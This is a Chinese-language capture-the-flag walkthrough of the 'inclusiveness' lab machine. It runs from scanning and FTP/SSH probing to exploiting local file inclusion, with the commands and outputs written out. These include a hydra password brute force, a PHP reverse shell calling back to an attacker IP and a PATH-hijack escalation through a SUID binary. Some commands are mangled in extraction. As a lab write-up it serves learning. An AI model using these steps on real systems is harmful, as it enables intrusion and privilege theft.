getwebshell → 发现robots.txt
→ 访问需要伪造ua
→ 突破限制得到敏感路径 → 发现文件读取 → ftp
存在上传 → 读取FTP配置文件找到ftp
上传路径 → 发现是文件包含 → 包含 php
反弹shell
→ getwebshell
提 权 思 路 → suid
发现一个自定义文件 → 发现包含whoami
→ 自定义whoami
篡改环境变量 → 执行自定义文件uid
提权
192.168.45.213
192.168.190.14
sudo nmap --min-rate 10000 -p- 192.168.190.14
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.190.14
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
通过Nmap
探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
探测版本为探测版本为vsftpd 3.0.3
# 在linux中大概率在etc目录下
cat /etc/vsftpd.conf
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.190.14
Name: anonymous
登录FTP之后利用ls
查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET
下载文件
# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# cd 查看存储的文件
ftp → cd [file_date_name]
虽然发现了一个pub
的目录,但是里面没有内容
测试是否可以利用PUT
上传文件
# 创建文件夹测试上传功能
touch txt
# put 上传文件
ftp → put txt
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 搜索对应脚本
msf6 → searchsploit openssh 7.9
没什么脚本可以利用
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
ssh root @192.168.190.14 -v
显示publickey、password就是支持密钥以及密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
ssh root @192.168.190.14 -p 22
# 密码尝试
password → root
弱密码尝试失败
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.14 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
访问 http://192.168.190.14:80
不是CMS
我们直接从HTML隐藏信息收集开始
# 包括文章中是否写明一些敏感信息
curl http://192.168.190.14:80
无什么敏感信息
如果扫描发现301适当考虑 -r 2 进行递归
dirsearch -u http://192.168.190.14:80 -x 302,403
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
访问后发现和robots.txt
有关的都是同类型的内容
You are not a search engine! You can't read my robots.txt!
这个涉及到君子协议,应该需要修改ua
头
百度查找搜索引擎的爬虫机器人头部信息,因为靶场偏向国外,主要查找的是谷歌,发现UA
头为Googlebot
┌──(root㉿Kali)-[/home/bachang/Ha-natraj]
└─# curl -s --user-agent 'GoogleBot' http://192.168.190.14:80/robots.txt
User-agent: *
Disallow: /secret_information/
得到了secret_information
的目录
访问获得的端点,得到了一篇文章
curl http://192.168.190.14:80/secret_information
curl http://192.168.190.14:80/secret_information/
访问被重定向了,忘记加/
DNS Zone transfer is the process where a DNS server passes a copy of part of it's database (which is called a "zone") to another DNS server. It's how you can have more than one DNS server able to answer queries about a particular zone; there is a Master DNS server, and one or more Slave DNS servers, and the slaves ask the master for a copy of the records for that zone.
A basic DNS Zone Transfer Attack isn't very fancy: you just pretend you are a slave and ask the master for a copy of the zone records. And it sends you them; DNS is one of those really old-school Internet protocols that was designed when everyone on the Internet literally knew everyone else's name and address, and so servers trusted each other implicitly.
It's worth stopping zone transfer attacks, as a copy of your DNS zone may reveal a lot of topological information about your internal network. In particular, if someone plans to subvert your DNS, by poisoning or spoofing it, for example, they'll find having a copy of the real data very useful.
So best practice is to restrict Zone transfers. At the bare minimum, you tell the master what the IP addresses of the slaves are and not to transfer to anyone else. In more sophisticated set-ups, you sign the transfers. So the more sophisticated zone transfer attacks try and get round these controls.
该端点没什么收获
文章的内容和DNS
攻击有关,寻思着是不是要DNS
攻击
发现两个按钮,进行点击
# 在这里我重启了靶场,目标IP变了
http://192.168.178.14/secret_information/?lang=es.php
一遇到传参总是要进行试验的,输入/../../
之后发现内容消失了
http://192.168.178.14/secret_information/?lang=es.php/../../
这样极有可能是读取了文件,尝试读取/../../../etc/passwd
http://192.168.178.14/secret_information/?lang=es.php/../../../../etc/passwd
发现依旧是空白,不要认输,再试试绝对路径/etc/passwd
http://192.168.178.14/secret_information/?lang=es.php/etc/passwd
http://192.168.178.14/secret_information/?lang=/etc/passwd
所以遇到猜测的时候要多进行尝试,绝对相对都要试验。得到账户名tom
之后我们要进行的测试是到底是文件读取还是文件包含,这关系到我们怎么利用漏洞
我们要寻找可用日志
/var/log/apache2/access.log # apache登录日志
/var/log/auth.log # ssh登录日志
/var/log/lastlog # 最后登录日志
虽然发现了最后登录日志存在内容,但是要root
,我们不可控
我们现有已知的服务是21、22和80,在22和80未知的情况下我们的思路有以下
tom
进行ssh
密码爆破tom
用户下的机密文件:私钥、历史信息(如果是文件包含的话不需要)在最开始我们探测ftp
的时候确认了版本对应的路径/etc/vsftpd.conf
结合我们查看/etc/passwd
给的提示
尝试读取ftp
的配置文件来找到上传路径,来确认是否是文件包含
http://192.168.178.14/secret_information/?lang=/etc/vsftpd.conf
查找到了匿名ftp
上传的路径/var/ftp
echo "" → test.txt
我们在ftp
文件夹下的pub
文件夹中上传了一个文件
http://192.168.178.14/secret_information/?lang=/var/ftp/pub/test.txt
访问之后发现是文件包含,可以利用文件包含写反弹shell
首先准备好我们的反弹shell
脚本,因为是php
的脚本语言,准备php
的反弹shell
# 攻击机先开启监听
sudo nc -lvnp 5555
# 利用vim创建shell.php
php -r '$sock=fsockopen("192.168.45.213",5555]);exec("/bin/sh -i &3 2→&3");'
# ftp上传
ftp→ put shell.php
# url访问反弹shell
http://192.168.178.14/secret_information/?lang=/var/ftp/pub/shell.php
在这里直接套用php
反弹shell
是不成功的,重新修改
$sock=fsockopen("192.168.45.213",5555]);
exec("/bin/sh -i <&3 >&3 2→&3");
?→
发现依旧尝试失败
# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell5.php
# 开启监听
sudo nc -lvnp 5555
反弹shell
配置
# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell5.php
→ 49:$ip = '127.0.0.1'; // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell5.php
50:$port = 1234; // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.213/' shell5.php
sed -i '50s/1234/5555/' shell5.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell5.php
# ftp上传
ftp → put shell5.php
# 访问反弹shell
curl http://192.168.178.14/secret_information/?lang=/var/ftp/pub/shell5.php
成功反弹shell
由于获取的shell交互不友好,利用python获得新的交互shell
python -c "import pty;pty.spawn('/bin/bash')";
www-data @inclusiveness:/$ find / -name local.txt 2→/dev/null
/home/tom/local.txt
www-data @inclusiveness:/$ cat /home/tom/local.txt
8c5e5c2cf85adf82b513847252b80f60
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www-data @inclusiveness:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
发行版本为Debian
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
www-data @inclusiveness:/$ uname -a
Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
内核版本为4.19.0
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
发现需要密码
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null
/usr/bin/chsh
/usr/bin/bwrap
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/ntfs-3g
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/home/tom/rootshell
里面混进了一个用户下的文件是suid
文件
首先查看内容
cat /home/tom/rootshell
发现是乱码,疑似编译后
www-data @inclusiveness:/home/tom$ cat rootshell.c
cat rootshell.c
#include
#include
#include
#include
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
//printf("your euid is: %i\n", geteuid());
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
不过在不懂的时候,还是可以执行一下的
会利用whoami
命令打印我当前的权限
从rootshell.c
源码里面可以看到如果是tom
用户的话,会set
到root
的shell
这段代码是一个简单的 C 程序,名为 `rootshell.c`。它的功能是检查当前用户是否为 “tom”,如果是,则获取权限并打开一个交互式的 shell
如果rootshell
会利用root
调用whoami
的话
我应该可以在当前位置创建一个假的whoami
,篡改环境变量使得rootshell
执行
我需要制作一个输出为tom
的whoami
# 制作一个whoami
echo "echo 'tom'" → whoami
# 发现没有权限,移动到/tmp目录下
cd /tmp
# 重新制作
echo "echo 'tom'" → whoami
# 增加执行权限
chmod +x whoami
# 运行测试
./whoami
成功输出tom
第一部完成
接下来我们需要让rootshell
执行的whoami
是我们这个,伪造环境变量
# 哪里是whoami
which whoami
# 确定一下环境变量
echo $PATH
# 临时修改环境变量,在当前shell下优先为/tmp
PATH=/tmp:$PATH
# 测试
whoami
现在直接whoami
也是输出tom
,第二步完成
# 接下来运行rootshell
/home/tom/rootshell
运行之后uid
提升为了root
,提权成功
# cat /root/proof.txt
783c824707497071595a7fcc2717b23a
完结撒花~
文件包含反弹shell
与在内网一句话php
反弹shell
还是有一定的区别的
如果看到不一样的suid
也要尝试研究一下比较好